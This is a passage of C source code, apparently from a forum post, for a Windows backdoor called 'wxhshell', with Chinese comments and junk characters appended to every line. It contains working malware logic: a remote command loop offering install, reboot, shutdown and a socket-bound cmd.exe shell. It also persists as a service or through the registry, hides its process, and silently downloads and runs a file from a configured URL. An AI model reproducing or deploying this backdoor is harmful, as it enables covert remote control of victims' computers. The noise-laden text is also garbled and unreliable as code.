  } ^ `Y1   
  else { 9Dx9alJR  
Ks^EGy+O:-  
    switch(cmd[0]) { >l!DW i6  
  [3hOc/]s  
  // 帮助 Z+x`q#ZQr  
  case '?': { 4+r26S,T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Psu*t%nQ?A  
    break; 24/ ^_Td  
  } 5I@2UvV8  
  // 安装 }5Pzen  
  case 'i': { qn@:A2e d  
    if(Install()) 2;=xH t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <7sGA{  
    else :S{+|4pH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [y$sJF7;I  
    break; TfqQh!Y  
    } NpYzN|W:  
  // 卸载 eMDraJv@  
  case 'r': { vh^,8pPy  
    if(Uninstall()) VBI~U?0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$'}IWNV  
    else a(`@u&]WZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i9k/X&V  
    break; .TetN}w  
    } - AxO1 qO  
  // 显示 wxhshell 所在路径 [O(8iz v  
  case 'p': { ].<B:]:,  
    char svExeFile[MAX_PATH]; \py \rI  
    strcpy(svExeFile,"\n\r"); +eD+Z.{  
      strcat(svExeFile,ExeFile); =`6_{<&  
        send(wsh,svExeFile,strlen(svExeFile),0); #Y9~ Xp^.  
    break; u@-x3%W  
    } 7q[a8rUdh  
  // 重启 '`Iuf\  
  case 'b': { 7{e*isV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @s;qmBX4  
    if(Boot(REBOOT)) /__@a&9t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o Kfm=TbY  
    else { [Dq!t1  
    closesocket(wsh); Qtpw0t"  
    ExitThread(0); DZ Q=Sinry  
    } _}-Ed,.=  
    break; NJraol  
    } W{(q7>g  
  // 关机 Grw|8xN0t  
  case 'd': { 6S# e?>"+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `aW>h8$I)  
    if(Boot(SHUTDOWN)) ^5 sO;vf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mxJ& IV  
    else { qKg*/)sD(  
    closesocket(wsh); qx~-(|s`H  
    ExitThread(0); nuip  
    } &%Lps_+fJ  
    break; Th6xwMq  
    } .v{ok,&  
  // 获取shell t$lO~~atr  
  case 's': { ~SRK}5E  
    CmdShell(wsh); Y[ciT)  
    closesocket(wsh); tmJ-2  
    ExitThread(0); ^%?*u;uU%  
    break; OF)G 2>t  
  } '-7rHx  
  // 退出 Ej]:j8^W  
  case 'x': { "ebm3t@C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Nf<mgOAT1  
    CloseIt(wsh); ~S,R`wo  
    break; d/O~"d  
    } YxUC.2V|7$  
  // 离开 x$;I E  
  case 'q': { _Fz]QxO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7xIXFuu  
    closesocket(wsh); +q/ j  
    WSACleanup(); aI l}|n"  
    exit(1); *|T]('xwC  
    break; TUQ+?[  
        } #Jo#[-r  
  } uoM;p'  
  } 8i=c|k,GL.  
tJ NJ S  
  // 提示信息 #~(VOcRI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ? %9-5"U[  
} AUm"^-@x#>  
  } j<-#a^jb  
 TM1isZ  
  return; M6 W {mek  
} ?W*{% my  
Nj<}t/e  
// shell模块句柄 +M"Fv9  
int CmdShell(SOCKET sock) 2+7r Lf`l  
{ em+dQ15  
STARTUPINFO si; N<|_tC+ct  
ZeroMemory(&si,sizeof(si)); G98P<cyD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wsnR$FhQ`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &G)I|mv  
PROCESS_INFORMATION ProcessInfo; ?~vVSY  
char cmdline[]="cmd"; 0GtL6M@pP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^}+qd1r  
  return 0;  {hzU  
} jo8hVWJ7V*  
<,r|*pkhp~  
// 自身启动模式 %MQU&H9[  
int StartFromService(void) UbD1h_b  
{ 7S_rN!E1i*  
typedef struct sO,%Ok1  
{ >VQP,J{  
  DWORD ExitStatus; F~`Yh6v  
  DWORD PebBaseAddress; p5C:MA~*  
  DWORD AffinityMask; \DG 6  
  DWORD BasePriority; 6QwVgEnSf  
  ULONG UniqueProcessId; =q1=.VTn  
  ULONG InheritedFromUniqueProcessId; Df\~ ZWs!  
}   PROCESS_BASIC_INFORMATION; v-k~Q$7~  
PgeC\#;9  
PROCNTQSIP NtQueryInformationProcess; llCBqWn  
Ho}"8YEXNV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o=t@83Fh5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0h[p w   
Z`UwXp_s  
  HANDLE             hProcess; |\?mX=a.y  
  PROCESS_BASIC_INFORMATION pbi; s#%$aQ|Fp  
yJCqP=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F3-<F_4.w  
  if(NULL == hInst ) return 0; \(ygdZ{R  
S_E-H.d"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0Jz5i4B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *Kpk1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KW* 2'C&  
[g bYIwL.  
  if (!NtQueryInformationProcess) return 0; 0zQ^ 6@  
ne]P-50  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {t.5cX"[  
  if(!hProcess) return 0; k`l={f8C  
9{D u)k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  ZA u=m  
O%g Q  
  CloseHandle(hProcess); a'T8U1  
`&\jOve   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1 ZL91'U  
if(hProcess==NULL) return 0; 0rt@4"~~w  
7$;#-l  
HMODULE hMod; y$ L@!r/s  
char procName[255]; k<.$7Pl3U  
unsigned long cbNeeded; U9<AL.  
<G9HVMiP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vs[A  
~  4v  
  CloseHandle(hProcess); eGwO!Lv}B  
Mnu8d:$  
if(strstr(procName,"services")) return 1; // 以服务启动 pyvH [  
Z~g6C0  
  return 0; // 注册表启动  n[vwwY  
} <>n-+Kr  
I~^t\iujs  
// 主模块 nx   
int StartWxhshell(LPSTR lpCmdLine) GI+x,p  
{ 6:fHPlqW  
  SOCKET wsl; 7Ei,L[{\i#  
BOOL val=TRUE; ans(^Up$  
  int port=0; 04K[U9W3  
  struct sockaddr_in door; iS p +~  
R[C+?qux  
  if(wscfg.ws_autoins) Install(); Kyf,<z F  
 ?z hw0  
port=atoi(lpCmdLine); `fnU p-  
{\1:2UKkr  
if(port<=0) port=wscfg.ws_port; X#ZQpo'h  
KKBrw+)AJ  
  WSADATA data; "QKCZ8_C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YiO3.+H  
 i/vo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2 c 2lK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8a,uM :  
  door.sin_family = AF_INET; ww}4   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t5| }0ID-  
  door.sin_port = htons(port); ~ u)} /  
W)_|jpd[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Bj=lUn`T:  
closesocket(wsl); = 9Ow!(!@  
return 1; i,H(6NL.  
} i/C`]1R/  
}508wwv  
  if(listen(wsl,2) == INVALID_SOCKET) { *:5S*E&}V  
closesocket(wsl); K2XRKoG  
return 1; :17Pc\:DS  
} L@5j? N?F  
  Wxhshell(wsl); t)4><22of  
  WSACleanup(); D-/q-=zd  
vGCvJ*4!  
return 0; %.h&W;  
Dhe*)  
} 4'+g/i1S F  
+]3kcm7B  
// 以NT服务方式启动 o7r7HmA@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i_c'E;|  
{ khc1<BBsT  
DWORD   status = 0; n5DS  
  DWORD   specificError = 0xfffffff; fN_qJm#:$y  
P=[_W;->}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E/3i _R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _qxBjB4t"a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S8j!?$`  
  serviceStatus.dwWin32ExitCode     = 0; C09rgEB\B  
  serviceStatus.dwServiceSpecificExitCode = 0; {;L,|(o^  
  serviceStatus.dwCheckPoint       = 0; ^ Fnag]qQ  
  serviceStatus.dwWaitHint       = 0; Ka_g3  
^Q\Hy\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 57K\sT4[  
  if (hServiceStatusHandle==0) return; BXb=N E  
:R{pV7<O  
status = GetLastError(); kR+7JUq]  
  if (status!=NO_ERROR) 68?> #o865  
{ A_\`Gj!s%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 68UfuC  
    serviceStatus.dwCheckPoint       = 0; B? aMX,1  
    serviceStatus.dwWaitHint       = 0; r) u@,P  
    serviceStatus.dwWin32ExitCode     = status; *)(S}D\94  
    serviceStatus.dwServiceSpecificExitCode = specificError; -O^R~Q_`w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M ZAz= )-  
    return; S}b^_+UbP  
  } hm\UqIt  
kaT  !   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'ln o#  
  serviceStatus.dwCheckPoint       = 0; z:ZXdB)L)  
  serviceStatus.dwWaitHint       = 0; r j.X"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k\TP3*fD  
} yW)r`xpY  
h"y~!NWn  
// 处理NT服务事件,比如:启动、停止 l$&dTI<#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y3 \EX  
{ s&4&\Aq}x#  
switch(fdwControl) #`ZBA>FLaQ  
{ AxfQ{>)0  
case SERVICE_CONTROL_STOP: <t&Qa~mA  
  serviceStatus.dwWin32ExitCode = 0; 1I awi?73  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cy(4g-b]@e  
  serviceStatus.dwCheckPoint   = 0; <])]1r8  
  serviceStatus.dwWaitHint     = 0; |vw],r6  
  { =.qX u+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Z3B9  
  }  6oI/*`>  
  return; _o T+x%i  
case SERVICE_CONTROL_PAUSE: ? *v*fs0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xi<yB0MoA  
  break; Yr*!T= z  
case SERVICE_CONTROL_CONTINUE: S"t\LB*'Ls  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~dC.,"  
  break; z1^3~U$}  
case SERVICE_CONTROL_INTERROGATE: ([dwZ6$/J  
  break; >V>`}TIH  
}; AQ?;UDqU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); drxCjuz"  
} g%V#Z`*|  
[4hi/6 0  
// 标准应用程序主函数 *10qP?0H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?iZM.$![  
{ l;r A}?,.^  
^?2zoS#iw  
// 获取操作系统版本 gBO,  
OsIsNt=GetOsVer(); ck b(+*+l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &ty-aB=F  
Lq62  
  // 从命令行安装 qg/FI#r  
  if(strpbrk(lpCmdLine,"iI")) Install(); Dkx}}E:<  
BCuoFw)  
  // 下载执行文件 "L;@qCfhO  
if(wscfg.ws_downexe) { po(pi|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =CW> ;h]  
  WinExec(wscfg.ws_filenam,SW_HIDE); MGf*+!y,  
} +w7U7" xQ  
Zd'Yu{<_2N  
if(!OsIsNt) { /:^nG+  
// 如果时win9x,隐藏进程并且设置为注册表启动 O+|ipw*B%  
HideProc(); V!(7=ku!`  
StartWxhshell(lpCmdLine); 73B[|J*  
} '"+Gn52#  
else %JH/|mA&|  
  if(StartFromService()) lcLDCt ?  
  // 以服务方式启动 XDAP[V  
  StartServiceCtrlDispatcher(DispatchTable); E+|K3EJ  
else DgK*> A  
  // 普通方式启动 ,zuS)?  
  StartWxhshell(lpCmdLine); "TP~TjXfq  
g!.piG|  
return 0; C>'G?  
}
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只看该作者 1 发表于: 2006-10-10
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